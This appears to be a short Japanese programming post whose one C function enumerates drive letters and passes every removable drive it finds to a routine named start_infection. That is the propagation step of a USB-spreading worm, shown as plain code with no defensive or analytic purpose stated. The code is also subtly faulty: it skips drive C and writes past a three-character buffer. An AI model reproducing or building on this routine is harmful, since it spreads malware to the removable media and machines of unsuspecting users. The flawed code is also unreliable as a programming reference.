ディスクとリムーバブルディスクの検索

408 ワード

void first_search_move_disk()
{	
	int DviveIndex='C';
	int i= 0;

	while((DviveIndex++)<'Z')
	{
		TCHAR DriveName[3];
		_stprintf(DriveName,_T("%c:\\"),DviveIndex);

		UINT TP=GetDriveType(DriveName);
		if(TP==DRIVE_NO_ROOT_DIR)
		{
			continue;
		}
		if(TP==2)
		{
			MessageBox(0,DriveName,0,0);
			start_infection(DriveName);
		}
		i++;
	}
}